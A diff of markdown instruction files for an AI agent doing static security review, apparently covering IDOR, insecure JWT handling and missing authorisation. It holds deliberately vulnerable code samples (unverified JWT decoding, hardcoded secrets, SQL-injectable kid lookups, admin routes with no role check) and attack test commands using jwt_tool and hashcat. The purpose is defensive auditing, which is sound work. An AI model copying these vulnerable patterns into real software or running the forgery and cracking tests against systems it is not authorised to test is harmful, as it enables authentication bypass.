> - **Impact**: [What an attacker can do — read other users' X, delete other users' Y, etc.]
> - **Proof**: [Show the code path — from route to DB query — highlighting the missing check]
> - **Remediation**: [Specific fix for this endpoint]
> - **Dynamic Test**:
> ```
> [curl command or step-by-step instructions to confirm this finding on the live app.
> Include the exact endpoint, HTTP method, headers, and what to look for in the response.
> Use placeholder tokens like <USER_B_TOKEN> and <USER_A_RESOURCE_ID>.]
> ```
>
> ### [LIKELY VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Issue**: [What's incomplete about the check]
> - **Concern**: [Why this might still be exploitable]
> - **Proof**: [Show the code path with the weak/partial check]
> - **Remediation**: [Specific fix]
> - **Dynamic Test**:
> ```
> [curl command or step-by-step instructions to confirm this finding on the live app.
> Include the exact endpoint, HTTP method, headers, and what to look for in the response.
> Use placeholder tokens like <USER_B_TOKEN> and <USER_A_RESOURCE_ID>.]
> ```
>
> ### [NOT VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Protection**: [How it's protected — scoped query / ownership check / policy]
>
> ### [NEEDS MANUAL REVIEW] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Uncertainty**: [Why automated analysis couldn't determine the status]
> - **Suggestion**: [What to look at manually]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- Focus on **horizontal privilege escalation** (user-to-user). Vertical escalation (user-to-admin) is a different skill.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Trace the full code path: route → middleware → controller → service → data access. Authorization can happen at any layer.
- Pay attention to framework conventions. In Rails, `current_user.orders.find(id)` is safe. In Express, just having `auth` middleware doesn't mean ownership is checked.
+487
View File
@@ -0,0 +1,487 @@
---
name: sast-jwt
description: >-
Detect insecure JWT (JSON Web Token) implementations in a codebase using a
two-phase approach: first map all JWT issuance and verification sites to
understand the token lifecycle and signing configuration, then check each
verification site for exploitable weaknesses such as algorithm confusion,
missing signature verification, weak secrets, header injection, and missing
claim validation. Requires sast/architecture.md (run sast-analysis first).
Outputs findings to sast/jwt-results.md. If no JWT usage is found in Phase 1,
Phase 2 is skipped. Use when asked to find JWT, token forgery, or
authentication bypass bugs.
---
# JWT Vulnerability Detection
You are performing a focused security assessment to find insecure JSON Web Token (JWT) implementations. This skill uses a two-phase approach with subagents: **recon** (map the full JWT lifecycle — issuance, verification, and configuration) then **analysis** (identify every exploitable weakness in those verification sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is an Insecure JWT Implementation
JWTs consist of three Base64URL-encoded parts: `header.payload.signature`. The header declares the signing algorithm (`alg`), the payload carries claims (e.g., `sub`, `role`, `exp`), and the signature is a cryptographic proof of integrity. Vulnerabilities arise when the server trusts the token's own claims about how it was signed, fails to verify the signature at all, uses a guessable secret, or trusts attacker-controlled key material embedded in the token itself.
The core pattern: *the server does not fully verify the JWT's authenticity and integrity before trusting its claims.*
### What JWT Vulnerabilities ARE
**1. Algorithm confusion — `alg: none`**
The server accepts a JWT whose header declares `"alg": "none"`, bypassing signature verification entirely. An attacker crafts an arbitrary payload, sets `alg` to `none`, and omits the signature. If the library processes it, the forged token is accepted.
**2. Algorithm confusion — RS256 → HS256**
A server configured for RS256 (asymmetric: sign with private key, verify with public key) can be tricked into HS256 mode if the library allows the algorithm to be specified by the token. Since the public key is often retrievable, the attacker signs a forged token with HS256 using the server's public key as the HMAC secret. The server verifies the HMAC using the same public key and accepts the token.
**3. Missing or disabled signature verification**
The server decodes the JWT payload without actually verifying the signature. Common patterns:
- Python (PyJWT): `jwt.decode(token, options={"verify_signature": False})`
- Node.js (jsonwebtoken): `jwt.decode(token)` instead of `jwt.verify(token, secret)`
- Manual base64 decode of the payload with no signature check
- `algorithms=["none"]` accepted in the decode call
**4. Weak or hardcoded HMAC secret**
The server signs tokens with a short, guessable, or hardcoded secret (e.g., `"secret"`, `"password"`, `"changeme"`, `"jwt-secret-key"`). An attacker who captures a valid token can brute-force the secret offline with tools like `hashcat` or `jwt_tool`, then forge arbitrary tokens.
**5. Embedded JWK (`jwk` header injection)**
The token header contains an embedded JSON Web Key (`jwk` parameter). If the verification code trusts the embedded key to verify the token's own signature, an attacker generates their own key pair, signs a forged token with their private key, and embeds their public key in the header. The server verifies the signature using the attacker's embedded public key and accepts the token.
**6. JKU / X5U header injection**
The `jku` (JWK Set URL) or `x5u` (X.509 certificate URL) header value is used to fetch the verification key from a URL. If the server does not validate the URL against an allowlist, the attacker can point it to their own server hosting a crafted key set.
**7. Key ID (`kid`) header injection**
The `kid` header is used to look up the signing key, often from a database or the filesystem. If the `kid` value is interpolated into a SQL query without sanitization, it becomes an SQL injection vector. If it is concatenated into a file path, it becomes a path traversal vector.
**8. Missing claim validation**
- `exp` not checked → expired tokens remain valid forever
- `iss` (issuer) not checked → tokens issued by other services are accepted
- `aud` (audience) not checked → tokens intended for other services are accepted
- `nbf` (not-before) not checked → tokens used before their valid window
**9. No token revocation**
There is no token blacklist or revocation mechanism. Stolen or logged-out tokens remain valid until they expire. This matters most when token lifetimes are long.
### What JWT Vulnerabilities are NOT
Do not flag these as JWT vulnerabilities:
- **IDOR**: Changing a `user_id` claim to access another user's data is an authorization flaw, not a JWT forgery — only flag if the token itself can be forged
- **XSS via JWT payload**: Injecting `<script>` into a claim that is later rendered unescaped — that's XSS, not a JWT bug
- **CSRF**: JWT in cookies without `SameSite` — that's a CSRF concern, not a JWT integrity issue
- **Properly restricted verification**: `jwt.verify(token, secret, { algorithms: ['HS256'] })` with a strong secret — not vulnerable
### Patterns That Prevent JWT Vulnerabilities
**1. Algorithm allowlist in verification call**
```python
# Python — PyJWT: explicitly specify allowed algorithms
payload = jwt.decode(token, secret, algorithms=["HS256"])
# Node.js — jsonwebtoken: restrict algorithms
jwt.verify(token, secret, { algorithms: ['HS256'] })
# Java — jjwt: specify expected algorithm
Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(token)
# (jjwt does not use the header's alg; it uses the key type)
```
**2. Strong, randomly generated secret**
```python
# Strong secret: at least 256 bits of entropy, not hardcoded
import secrets
SECRET_KEY = secrets.token_hex(32) # load from env in production
```
**3. Full claim validation**
```python
payload = jwt.decode(
token, secret, algorithms=["HS256"],
options={"require": ["exp", "iss", "aud"]},
issuer="https://myapp.example.com",
audience="myapp-api"
)
```
**4. Asymmetric keys with no algorithm ambiguity**
```javascript
// Use RS256 with public key for verification; never accept HS256 on the same endpoint
jwt.verify(token, publicKey, { algorithms: ['RS256'] })
```
**5. JWK/JKU URL allowlist**
```python
# Only fetch keys from a known, trusted JWKS endpoint
ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}
if jku not in ALLOWED_JWKS_URLS:
raise ValueError("Untrusted JWK URL")
```
---
## Vulnerable vs. Secure Examples
### Python — PyJWT
```python
# VULNERABLE: signature verification disabled
def get_current_user(token: str):
payload = jwt.decode(token, options={"verify_signature": False})
return payload["user_id"]
# VULNERABLE: accepts alg:none because no algorithm restriction
def get_current_user(token: str):
payload = jwt.decode(token, SECRET_KEY) # PyJWT < 2.x default: accepts any alg
return payload["user_id"]
# VULNERABLE: weak hardcoded secret
SECRET_KEY = "secret"
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
# SECURE: algorithm restricted, strong secret from env
SECRET_KEY = os.environ["JWT_SECRET"] # strong, random, from environment
def get_current_user(token: str):
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
return payload["user_id"]
```
### Node.js — jsonwebtoken
```javascript
// VULNERABLE: jwt.decode() — no signature verification
function getUser(token) {
const payload = jwt.decode(token); // decode only, never verify
return payload.userId;
}
// VULNERABLE: algorithms not restricted — susceptible to alg:none or RS256→HS256
function getUser(token) {
const payload = jwt.verify(token, SECRET); // no algorithms option
return payload.userId;
}
// VULNERABLE: weak hardcoded secret
const SECRET = "password123";
jwt.verify(token, SECRET, { algorithms: ['HS256'] });
// SECURE: algorithm restricted, strong secret from env
const SECRET = process.env.JWT_SECRET;
function getUser(token) {
const payload = jwt.verify(token, SECRET, { algorithms: ['HS256'] });
return payload.userId;
}
```
### Java — jjwt
```java
// VULNERABLE: deprecated parser (accepts alg from header)
Jwts.parser().setSigningKey(key).parseClaimsJws(token);
// VULNERABLE: no expiry check — the library default may not enforce exp
Claims claims = Jwts.parserBuilder()
.setSigningKey(key).build()
.parseClaimsJws(token).getBody();
// claims.getExpiration() never checked
// SECURE: parserBuilder (does not trust header alg; uses key type)
Claims claims = Jwts.parserBuilder()
.requireIssuer("myapp")
.requireAudience("myapp-api")
.setSigningKey(key)
.build()
.parseClaimsJws(token)
.getBody();
```
### Go — golang-jwt / dgrijalva/jwt-go
```go
// VULNERABLE: accepts any algorithm including "none"
token, _ := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
return []byte(secret), nil // no algorithm check
})
// VULNERABLE: weak secret
var jwtKey = []byte("secret")
// SECURE: validate signing method before returning key
token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return jwtKey, nil
})
```
### kid header SQL injection
```python
# VULNERABLE: kid used in SQL query without sanitization
def get_signing_key(kid):
result = db.execute(f"SELECT key FROM jwt_keys WHERE id = '{kid}'")
return result.fetchone()[0]
token_header = jwt.get_unverified_header(token)
key = get_signing_key(token_header["kid"]) # attacker controls kid
jwt.decode(token, key, algorithms=["HS256"])
# SECURE: kid validated against allowlist or parameterized lookup
def get_signing_key(kid):
result = db.execute("SELECT key FROM jwt_keys WHERE id = %s", (kid,))
row = result.fetchone()
if not row:
raise ValueError("Unknown key id")
return row[0]
```
### Embedded JWK injection
```javascript
// VULNERABLE: trusts the jwk embedded in the token header
const { publicKey } = getPublicKeyFromHeader(decoded.header); // attacker-supplied
jwt.verify(token, publicKey);
// SECURE: only use keys from a pre-configured, trusted source
const trustedKey = loadKeyFromConfig();
jwt.verify(token, trustedKey, { algorithms: ['RS256'] });
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Map the JWT Lifecycle
Launch a subagent with the following instructions:
> **Goal**: Map how the application creates, transmits, and verifies JWTs. Identify every JWT issuance and verification site, the library used, the signing algorithm and key/secret configuration, and the claims that are used for authorization. Write results to `sast/jwt-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, authentication layer, and middleware patterns.
>
> **What to search for**:
>
> **1. JWT library imports** — identify which JWT library is in use:
> - Python: `import jwt`, `from jose import`, `from authlib import`, `import python_jose`
> - Node.js: `require('jsonwebtoken')`, `import jwt from 'jsonwebtoken'`, `jose`, `@nestjs/jwt`
> - Java: `io.jsonwebtoken`, `com.auth0.jwt`, `nimbus-jose-jwt`
> - Go: `github.com/golang-jwt/jwt`, `github.com/dgrijalva/jwt-go`, `github.com/lestrrat-go/jwx`
> - Ruby: `jwt` gem (`require 'jwt'`)
> - PHP: `firebase/php-jwt`, `lcobucci/jwt`
> - C#: `System.IdentityModel.Tokens.Jwt`, `Microsoft.AspNetCore.Authentication.JwtBearer`
>
> **2. JWT signing / issuance sites** — where tokens are created:
> - `jwt.encode(...)`, `jwt.sign(...)`, `Jwts.builder().signWith(...)`, `JWT.create().sign(...)`
> - Note the algorithm used (`HS256`, `RS256`, etc.) and where the secret/key comes from (env var, config, hardcoded)
>
> **3. JWT verification / decoding sites** — where tokens are consumed:
> - `jwt.decode(...)`, `jwt.verify(...)`, `Jwts.parserBuilder()...parseClaimsJws(...)`, `JWT::decode(...)`
> - Note what options are passed: `algorithms`, `options`, `verify_signature`, `verify_exp`
> - Note if it's a raw `decode` (no verification) vs. a `verify` call
>
> **4. Token extraction** — where the token is read from the incoming request:
> - Authorization header: `request.headers.get("Authorization")`, `req.headers['authorization']`
> - Cookie: `request.cookies.get("token")`, `req.cookies.token`
> - Query parameter: `request.args.get("token")`, `req.query.token`
>
> **5. Authorization middleware / decorators** — centralized JWT checks:
> - `@jwt_required`, `@login_required`, `requireAuth`, `JwtAuthGuard`, `[Authorize]`, middleware functions
> - Note which routes are protected and which are unprotected
>
> **6. Signing secret / key configuration**:
> - Where the HMAC secret or RSA/EC key is defined and loaded (env var, config file, hardcoded string)
> - Whether it looks strong (long random string) or weak (short, common word)
>
> **7. Claim usage**:
> - Which claims are extracted and used for authorization (`user_id`, `role`, `permissions`, `sub`)
> - Whether `exp`, `iss`, `aud`, `nbf` are checked
>
> **Output format** — write to `sast/jwt-recon.md`:
>
> ```markdown
> # JWT Recon: [Project Name]
>
> ## Summary
> JWT is [used / not used] in this codebase.
> Library: [library name and version if visible]
> Algorithm(s): [HS256 / RS256 / etc.]
>
> ## Issuance Sites
>
> ### 1. [Descriptive name — e.g., "Token generation in login endpoint"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Algorithm**: [e.g., HS256]
> - **Secret/key source**: [env var name / hardcoded string / config key]
> - **Claims set**: [list of claims added to the payload]
> - **Code snippet**:
> ```
> [the signing call]
> ```
>
> ## Verification Sites
>
> ### 1. [Descriptive name — e.g., "Token verification in auth middleware"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / middleware**: [function name]
> - **Verification call**: [jwt.decode / jwt.verify / parseClaimsJws / etc.]
> - **Algorithm restriction**: [algorithms=["HS256"] / no restriction / unknown]
> - **Signature verification**: [enabled / disabled / unclear]
> - **Claims validated**: [exp / iss / aud / none / unknown]
> - **Token source**: [Authorization header / cookie / query param]
> - **kid/jwk/jku used**: [yes — describe how / no]
> - **Code snippet**:
> ```
> [the verification call and surrounding context]
> ```
>
> ## Secret / Key Configuration
> - **Secret source**: [env var / hardcoded / config file]
> - **Apparent strength**: [strong (long random) / weak (short/common) / unknown]
> - **Code snippet** (if hardcoded or suspicious):
> ```
> [relevant code]
> ```
>
> ## Authorization Middleware Coverage
> - **Protected routes**: [list or description]
> - **Unprotected routes**: [list or "none observed"]
> ```
### After Phase 1: Check for JWT Usage Before Proceeding
After Phase 1 completes, read `sast/jwt-recon.md`. If the summary states JWT is **not used** (no issuance or verification sites were found), **skip Phase 2 entirely**. Instead, write the following content to `sast/jwt-results.md` and stop:
```markdown
# JWT Analysis Results
No JWT usage detected in this codebase.
```
Only proceed to Phase 2 if Phase 1 found at least one JWT verification site.
### Phase 2: Analyze JWT Verification Sites for Vulnerabilities
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each JWT verification site in `sast/jwt-recon.md`, determine whether it is exploitable. Check for algorithm confusion, missing signature verification, weak secrets, header injection attacks, and missing claim validation. Write final results to `sast/jwt-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use both to understand the full token lifecycle before analyzing each site.
>
> **For each verification site, check the following**:
>
> **Check 1 — Algorithm restriction**
> - Is the allowed algorithm explicitly specified in the verification call?
> - If no algorithm restriction is present, can the token's `alg` header be set to `none` to skip signature verification?
> - If the server uses an asymmetric algorithm (RS256, ES256), does the verification code also accept HMAC algorithms (HS256)? If so, the server may be vulnerable to the RS256→HS256 confusion attack.
>
> **Check 2 — Signature verification enabled**
> - Is the token passed through a verify/parse call that actually checks the signature, or only through a decode-only call?
> - Look for options like `verify_signature: False`, `complete=False`, or the use of `jwt.decode()` (Node.js) instead of `jwt.verify()`
> - Manual base64-decode of the payload without any signature check is always vulnerable
>
> **Check 3 — HMAC secret strength**
> - Is the secret hardcoded in source code? If so, is it a common word or short string?
> - Is the secret loaded from an environment variable or config? Even then, note if the default or example value is weak
> - A secret shorter than 32 characters or composed of dictionary words is likely brute-forceable
>
> **Check 4 — Embedded JWK / JKU / X5U header injection**
> - Does the verification code read the `jwk` field from the token header and use it to verify the same token?
> - Does the code fetch a key from a URL specified in the `jku` or `x5u` header without validating the URL against an allowlist?
> - If either is true, the verification is fully bypassable
>
> **Check 5 — `kid` header injection**
> - Is the `kid` header value extracted from the token before verification and used to look up a key?
> - Is the `kid` value interpolated into a SQL query without parameterization? → SQL injection
> - Is the `kid` value used to construct a file path without sanitization? → path traversal / key substitution
>
> **Check 6 — Claim validation**
> - Is `exp` (expiry) checked? If not, expired tokens are valid forever
> - Is `iss` (issuer) checked? If not, tokens from other issuers are accepted
> - Is `aud` (audience) checked? If not, tokens for other services are accepted
> - Are security-sensitive claims like `role` or `permissions` present but not validated against a server-side source?
>
> **Check 7 — Token revocation**
> - Is there a token blacklist, revocation endpoint, or short-lived token + refresh-token pattern?
> - If tokens are long-lived (hours or more) with no revocation mechanism, stolen tokens remain valid
>
> **Classification**:
> - **Vulnerable**: The weakness is clearly present with no effective mitigation — the attack path is directly exploitable.
> - **Likely Vulnerable**: The weakness is probably present but requires confirming a secondary condition (e.g., library version behavior, default option value).
> - **Not Vulnerable**: The implementation correctly addresses this check.
> - **Needs Manual Review**: Cannot determine the vulnerability status with confidence from static analysis alone.
>
> **Output format** — write to `sast/jwt-results.md`:
>
> ```markdown
> # JWT Analysis Results: [Project Name]
>
> ## Executive Summary
> - Verification sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Vulnerability class**: [e.g., "Missing signature verification" / "alg:none accepted" / "Weak HMAC secret" / "JWK header injection" / "kid SQL injection" / "Missing exp validation"]
> - **Issue**: [Clear description of what is wrong]
> - **Attack scenario**: [Step-by-step: what the attacker does, what token they craft or modify, what access they gain]
> - **Impact**: [What an attacker can achieve — forge arbitrary identity, escalate privileges, access other users' data, etc.]
> - **Remediation**: [Specific fix — add algorithms restriction, enable verify_signature, load secret from env, pin JWKS URL, parameterize kid lookup, add exp validation, etc.]
> - **Dynamic Test**:
> ```
> [Proof-of-concept using jwt_tool, hashcat, or curl.
> Show the exact command to reproduce the issue.
> Examples:
> - jwt_tool <token> -X a (test alg:none)
> - jwt_tool <token> -X s (test RS256→HS256 confusion)
> - hashcat -a 0 -m 16500 <token> wordlist.txt (brute-force HMAC secret)
> - Manual: modify payload, set alg:none, send to endpoint]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Vulnerability class**: [class]
> - **Issue**: [What appears to be wrong]
> - **Uncertainty**: [What needs to be confirmed — e.g., "Library version determines default behavior"]
> - **Remediation**: [Fix]
> - **Dynamic Test**:
> ```
> [payload or command to attempt exploitation]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Algorithm restricted to HS256 with strong env-loaded secret; exp validated"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the vulnerability status cannot be determined statically]
> - **Suggestion**: [What to inspect manually — e.g., "Confirm what JWT library version is installed; older versions of PyJWT accept alg:none by default"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely discovery**: locate every JWT issuance, verification, and configuration site. Do not attempt to assess security in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely analysis**: for each verification site found in Phase 1, systematically check every vulnerability class. Do not search for new sites in Phase 2 — focus on what Phase 1 found.
- If no JWT usage is found in Phase 1, skip Phase 2 entirely and write a "No JWT usage detected" result file.
- The most critical checks are: signature verification disabled, algorithm not restricted (alg:none / RS256→HS256 confusion), and weak or hardcoded HMAC secret. These lead directly to full authentication bypass.
- `jwt.decode()` in Node.js's `jsonwebtoken` library is a decode-only function — it never verifies the signature. Only `jwt.verify()` validates the signature. Confusing the two is a common and critical mistake.
- In Python's PyJWT, versions before 2.0 accepted `alg: none` by default and did not require an `algorithms` parameter. If the codebase does not pin the version or restrict algorithms, flag it.
- Algorithm confusion (RS256→HS256) requires: (a) the server uses RS256 with a key pair, (b) the public key is accessible, and (c) the verification code does not restrict the algorithm. All three must be present.
- `kid` injection is often overlooked: always check how the key lookup is implemented when `kid` is present in the token header.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
@@ -0,0 +1,515 @@
---
name: sast-missingauth
description: >-
Detect missing authentication and broken function-level authorization
vulnerabilities in a codebase using a two-phase approach: first map all
endpoints and the role/permission system, then verify each endpoint has
proper authentication and authorization checks. Covers unauthenticated
access and vertical privilege escalation (e.g., regular user accessing
admin-only functions). Requires sast/architecture.md (run sast-analysis
first). Outputs findings to sast/missingauth-results.md. Use when asked
to find missing auth, broken access control, or privilege escalation bugs.
---
# Missing Authentication & Broken Function-Level Authorization Detection
You are performing a focused security assessment to find missing authentication and broken function-level authorization vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (map endpoints and the permission system) then **verify** (check every endpoint for proper auth/authz gates).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What This Skill Covers
### Missing Authentication
An endpoint performs a sensitive action but requires **no login at all** — any anonymous HTTP request can trigger it.
### Broken Function-Level Authorization
An endpoint requires authentication (user must be logged in) but **does not check whether the authenticated user has the required role or permission** to invoke that function. The classic example: a regular user calling an admin-only API.
### What This Skill Is NOT
Do not conflate with:
- **IDOR / Horizontal privilege escalation**: Authenticated user A accessing user B's resource by changing an ID. This skill covers **vertical** privilege escalation and unauthenticated access.
- **JWT weaknesses**: Flawed token signing/verification (covered by sast-jwt).
- **Business logic flaws**: Price manipulation, workflow bypass — these are separate.
---
## Vulnerability Classes
### Class 1: Unauthenticated Sensitive Endpoint
The endpoint modifies data, returns private information, or performs an administrative action — with no authentication required.
```
GET /api/admin/users → returns full user list, no token needed
DELETE /api/admin/users/5 → deletes a user, no token needed
POST /api/settings/smtp → updates server config, no token needed
```
### Class 2: Authenticated but Missing Role Check
The endpoint requires a valid session/token but performs no role or permission check. Any authenticated user — regardless of role — can invoke admin or privileged functions.
```
Regular user sends:
DELETE /api/admin/users/5
Authorization: Bearer <regular_user_token>
→ Server deletes the user without checking if the caller is an admin
```
### Class 3: Incomplete or Bypassable Authorization
Authorization logic is present but can be bypassed:
- Role check exists in the GET handler but not in the corresponding DELETE/POST handler
- Role check is conditional on a request header or parameter the attacker controls
- Middleware is registered but the route is mounted before the middleware applies
---
## Authorization Patterns That PREVENT Vulnerabilities
When you see these patterns, the endpoint is likely **not vulnerable**:
**1. Authentication + role-check middleware on a route group**
```javascript
// Express: all /admin routes protected
router.use('/admin', auth, requireRole('admin'));
router.delete('/admin/users/:id', deleteUser); // protected by above
// Flask-Login + custom decorator
@app.route('/admin/users')
@login_required
@admin_required
def list_users(): ...
```
**2. Declarative role annotations (Java / Spring)**
```java
@PreAuthorize("hasRole('ADMIN')")
@DeleteMapping("/api/admin/users/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id) { ... }
```
**3. In-handler role check before sensitive action**
```python
# Django
@login_required
def delete_user(request, user_id):
if not request.user.is_staff:
return HttpResponseForbidden()
User.objects.filter(id=user_id).delete()
return HttpResponse(status=204)
```
**4. Middleware gate applied to entire prefix**
```go
// Chi router — admin group protected
r.Group(func(r chi.Router) {
r.Use(AdminOnly)
r.Delete("/admin/users/{id}", deleteUser)
})
```
**5. Policy/Gate objects**
```php
// Laravel Gate
Gate::define('admin-action', fn($user) => $user->role === 'admin');
// In controller
$this->authorize('admin-action');
```
---
## Vulnerable vs. Secure Examples
### Python — Django
```python
# VULNERABLE: No authentication at all
def list_all_users(request):
users = User.objects.values('id', 'email', 'is_staff')
return JsonResponse(list(users), safe=False)
# VULNERABLE: Authenticated but no role check
@login_required
def delete_user(request, user_id):
User.objects.filter(id=user_id).delete()
return HttpResponse(status=204)
# SECURE
@login_required
def delete_user(request, user_id):
if not request.user.is_staff:
return HttpResponseForbidden()
User.objects.filter(id=user_id).delete()
return HttpResponse(status=204)
```
### Python — Flask
```python
# VULNERABLE: No auth decorator
@app.route('/admin/users')
def list_users():
return jsonify([u.to_dict() for u in User.query.all()])
# VULNERABLE: Login required but no role check
@app.route('/admin/users/<int:user_id>', methods=['DELETE'])
@login_required
def delete_user(user_id):
user = User.query.get_or_404(user_id)
db.session.delete(user)
db.session.commit()
return '', 204
# SECURE
@app.route('/admin/users/<int:user_id>', methods=['DELETE'])
@login_required
def delete_user(user_id):
if current_user.role != 'admin':
abort(403)
user = User.query.get_or_404(user_id)
db.session.delete(user)
db.session.commit()
return '', 204
```
### Node.js — Express
```javascript
// VULNERABLE: No auth middleware
router.get('/api/admin/users', async (req, res) => {
const users = await User.find({});
res.json(users);
});
// VULNERABLE: Auth middleware present but no role check
router.delete('/api/admin/users/:id', auth, async (req, res) => {
await User.findByIdAndDelete(req.params.id);
res.sendStatus(204);
});
// SECURE
const requireAdmin = (req, res, next) => {
if (req.user.role !== 'admin') return res.sendStatus(403);
next();
};
router.delete('/api/admin/users/:id', auth, requireAdmin, async (req, res) => {
await User.findByIdAndDelete(req.params.id);
res.sendStatus(204);
});
```
### Ruby on Rails
```ruby
# VULNERABLE: No before_action
def destroy
User.find(params[:id]).destroy
head :no_content
end
# VULNERABLE: Authenticated but no admin check
before_action :authenticate_user!
def destroy
User.find(params[:id]).destroy
head :no_content
end
# SECURE
before_action :authenticate_user!
before_action :require_admin
def destroy
User.find(params[:id]).destroy
head :no_content
end
private
def require_admin
head :forbidden unless current_user.admin?
end
```
### Java — Spring Boot
```java
// VULNERABLE: No security annotation
@DeleteMapping("/api/admin/users/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id) {
userRepo.deleteById(id);
return ResponseEntity.noContent().build();
}
// VULNERABLE: Authenticated but wrong role
@DeleteMapping("/api/admin/users/{id}")
@Secured("ROLE_USER") // any user can call this
public ResponseEntity<?> deleteUser(@PathVariable Long id) {
userRepo.deleteById(id);
return ResponseEntity.noContent().build();
}
// SECURE
@DeleteMapping("/api/admin/users/{id}")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<?> deleteUser(@PathVariable Long id) {
userRepo.deleteById(id);
return ResponseEntity.noContent().build();
}
```
### Go
```go
// VULNERABLE: No auth middleware on route
r.Delete("/admin/users/{id}", deleteUser)
// VULNERABLE: Auth middleware but no role check in handler
r.With(AuthMiddleware).Delete("/admin/users/{id}", deleteUser)
func deleteUser(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
db.DeleteUser(id) // no role check
w.WriteHeader(http.StatusNoContent)
}
// SECURE
r.Group(func(r chi.Router) {
r.Use(AuthMiddleware)
r.Use(AdminOnlyMiddleware)
r.Delete("/admin/users/{id}", deleteUser)
})
```
### PHP — Laravel
```php
// VULNERABLE: No auth middleware
Route::delete('/admin/users/{id}', [AdminController::class, 'destroy']);
// VULNERABLE: Auth but no role gate
Route::middleware('auth')->delete('/admin/users/{id}', [AdminController::class, 'destroy']);
// SECURE
Route::middleware(['auth', 'role:admin'])->delete('/admin/users/{id}', [AdminController::class, 'destroy']);
// SECURE (using Gate in controller)
public function destroy($id) {
Gate::authorize('admin-action');
User::findOrFail($id)->delete();
return response()->noContent();
}
```
### C# — ASP.NET Core
```csharp
// VULNERABLE: No authorization attribute
[HttpDelete("api/admin/users/{id}")]
public async Task<IActionResult> DeleteUser(int id) {
await _userService.DeleteAsync(id);
return NoContent();
}
// VULNERABLE: [Authorize] but no role
[Authorize]
[HttpDelete("api/admin/users/{id}")]
public async Task<IActionResult> DeleteUser(int id) {
await _userService.DeleteAsync(id);
return NoContent();
}
// SECURE
[Authorize(Roles = "Admin")]
[HttpDelete("api/admin/users/{id}")]
public async Task<IActionResult> DeleteUser(int id) {
await _userService.DeleteAsync(id);
return NoContent();
}
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Recon — Map Endpoints and Permission System
Launch a subagent with the following instructions:
> **Goal**: Build a complete map of (1) all application endpoints/routes and their current authentication/authorization posture, and (2) the role/permission system. Write results to `sast/missingauth-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, frameworks, route definitions, and the auth/authz strategy.
>
> **What to search for**:
>
> 1. **All route/endpoint definitions** — collect every HTTP handler, REST endpoint, GraphQL mutation/query, RPC method, or WebSocket handler:
> - Express/Koa: `router.get/post/put/delete/patch/use`
> - Django: `urlpatterns`, `path()`, `re_path()`
> - Flask: `@app.route`, `@blueprint.route`
> - Rails: `routes.rb` — `get`, `post`, `resources`, `namespace`
> - Spring: `@GetMapping`, `@PostMapping`, `@RequestMapping`, `@DeleteMapping`, `@PutMapping`
> - Go/Chi: `r.Get`, `r.Post`, `r.Delete`, `r.Handle`
> - Laravel: `Route::get/post/put/delete`
> - FastAPI: `@router.get/post/put/delete`
> - ASP.NET: `[HttpGet]`, `[HttpPost]`, `[HttpDelete]`, `[HttpPut]`
>
> 2. **Authentication middleware and decorators** currently applied:
> - Identify the pattern used: `@login_required`, `auth` middleware, `[Authorize]`, `authenticate_user!`, JWT verification middleware, session checks
> - Note which routes or route groups they are applied to
> - Note any routes explicitly excluded from auth (e.g., `except: [:index, :show]`)
>
> 3. **Role/permission system** — identify how roles are defined and checked:
